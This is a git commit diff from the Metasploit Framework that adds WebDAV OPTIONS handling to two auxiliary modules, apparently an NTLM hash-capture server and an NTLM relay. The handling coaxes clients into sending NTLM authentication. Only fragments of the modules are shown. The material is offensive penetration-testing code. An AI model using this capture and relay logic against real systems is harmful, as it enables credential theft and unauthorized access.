Merge branch 'webdav_fix' of https://github.com/mubix/metasploit-framework into mubix-webdav_fix

unstable
sinn3r 2012-08-24 11:18:50 -05:00
commit 3036f7725d
2 changed files with 86 additions and 42 deletions

View File

@ -67,23 +67,28 @@ class Metasploit3 < Msf::Auxiliary
def on_request_uri(cli, request)
print_status("Request '#{request.uri}'...")
# If the host has not started auth, send 401 authenticate with only the NTLM option
if(!request.headers['Authorization'])
response = create_response(401, "Unauthorized")
response.headers['WWW-Authenticate'] = "NTLM"
cli.send_response(response)
case request.method
when 'OPTIONS'
process_options(cli, request)
else
method,hash = request.headers['Authorization'].split(/\s+/,2)
# If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
if(method != "NTLM")
print_status("Unrecognized Authorization header, responding with 404")
send_not_found(cli)
return false
end
# If the host has not started auth, send 401 authenticate with only the NTLM option
if(!request.headers['Authorization'])
response = create_response(401, "Unauthorized")
response.headers['WWW-Authenticate'] = "NTLM"
cli.send_response(response)
else
method,hash = request.headers['Authorization'].split(/\s+/,2)
# If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
if(method != "NTLM")
print_status("Unrecognized Authorization header, responding with 404")
send_not_found(cli)
return false
end
response = handle_auth(cli,hash)
cli.send_response(response)
response = handle_auth(cli,hash)
cli.send_response(response)
end
end
end
@ -96,6 +101,23 @@ class Metasploit3 < Msf::Auxiliary
end
exploit()
end
def process_options(cli, request)
print_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
def handle_auth(cli,hash)
#authorization string is base64 encoded message

View File

@ -93,44 +93,66 @@ class Metasploit3 < Msf::Auxiliary
# Handles the initial requests waiting for the browser to try NTLM auth
def on_request_uri(cli, request)
case request.method
when 'OPTIONS'
process_options(cli, request)
else
datastore['REQUEST_IP'] = cli.peerhost
cli.keepalive = true;
datastore['REQUEST_IP'] = cli.peerhost
cli.keepalive = true;
# If the host has not started auth, send 401 authenticate with only the NTLM option
if(!request.headers['Authorization'])
response = create_response(401, "Unauthorized")
response.headers['WWW-Authenticate'] = "NTLM"
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
# If the host has not started auth, send 401 authenticate with only the NTLM option
if(!request.headers['Authorization'])
response = create_response(401, "Unauthorized")
response.headers['WWW-Authenticate'] = "NTLM"
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
response.body =
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
response.body =
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
cli.send_response(response)
return false
end
method,hash = request.headers['Authorization'].split(/\s+/,2)
# If the method isn't NTLM something odd is goign on.
# Regardless, this won't get what we want, 404 them
if(method != "NTLM")
print_status("Unrecognized Authorization header, responding with 404")
send_not_found(cli)
return false
end
cli.send_response(response)
return false
print_status("NTLM Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
if (datastore['SYNCFILE'] != nil)
sync_options()
end
handle_relay(cli,hash)
end
method,hash = request.headers['Authorization'].split(/\s+/,2)
# If the method isn't NTLM something odd is goign on.
# Regardless, this won't get what we want, 404 them
if(method != "NTLM")
print_status("Unrecognized Authorization header, responding with 404")
send_not_found(cli)
return false
end
print_status("NTLM Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
if (datastore['SYNCFILE'] != nil)
sync_options()
end
handle_relay(cli,hash)
end
def run
parse_args()
exploit()
end
def process_options(cli, request)
print_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
#The call to handle_relay should be a victim HTTP type 1 request
def handle_relay(cli_sock, hash)